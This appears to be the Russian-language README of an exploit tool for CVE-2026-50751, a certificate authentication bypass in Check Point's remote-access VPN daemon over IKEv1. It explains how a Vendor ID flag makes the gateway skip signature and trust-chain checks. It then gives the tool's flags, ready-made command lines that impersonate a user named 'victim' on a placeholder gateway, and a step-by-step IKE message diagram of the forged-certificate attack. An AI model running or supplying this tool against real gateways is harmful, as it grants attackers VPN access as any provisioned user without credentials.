
Обход аутентификации по сертификату в VPN Remote-Access от Check Point (IKEv1).
Обход аутентификации по сертификату в VPN Remote-Access от Check Point (IKEv1).
CVE-2026-50751 — это обход аутентификации в демоне iked Check Point, присутствующий в версиях R81.10, R82 и R82.10 без хотфикса sk185033. Уязвимость позволяет аутентифицироваться как любой подготовленный пользователь Remote Access без закрытого ключа, без пароля и без действительного сертификата.
Уязвимый iked считывает флаг из Vendor ID VPNExtFeatures (бит 0x4) и, если он активирован, пропускает verify_peer_auth / verifyMessagePhase1. Как следствие:
Не проверяется подпись сертификата (доказательство владения).
Не проверяется цепочка доверия.
Проверяется только то, что subject DN соответствует подготовленному пользователю.
Достаточно подделать самоподписанный сертификат, у которого CN= совпадает с целевым пользователем, и отправить его с недействительной подписью. Если шлюз принимает фазу 1, мы аутентифицированы как этот пользователь (SA ISAKMP сохраняется под его DN).
Работает поверх IKE (UDP 500/4500) и поверх Visitor Mode (TCPT, TCP 443).
Синтаксис
cve-2026-50751 -host <IP|hostname> -user <username> [опции]
| Флаг | Описание | По умолчанию |
|---|
-host | IP или hostname шлюза (обязательно) | — |
-user | Username RA для подмены (обязательно) | — |
-port | Порт: 500, 4500 (UDP) или 443 (TCPT) | 500 |
-org | Организация (O=) из ICA. Если опущено, выводится из TLS-сертификата | — |
-ou | Организационное подразделение (OU=) пользователя | users |
-timeout | Таймаут на операцию | 6s |
-retries | Повторы msg1 | 1 |
-v | Подробный вывод | false |
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v
Атакующий Шлюз (уязвимый iked)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (бит 0x4) ───▶│
│ │ Считывает флаг 0x4
│ │ Устанавливает verify_peer_auth = skip
│◀── msg2: SA принят ──────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Выводит SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (зашифровано): ID=поддельный DN + самоподписанный CERT
│ + случайная подпись ─────────────────▶│
│ │ Пропускает проверку
│ │ подписи
│ │ Сопоставляет DN → пользователь
│◀── msg6 (зашифровано): SA установлена ──────────────────│
│ │
│ Расшифровывает msg6 с SKEYID_e → доказательство аутентификации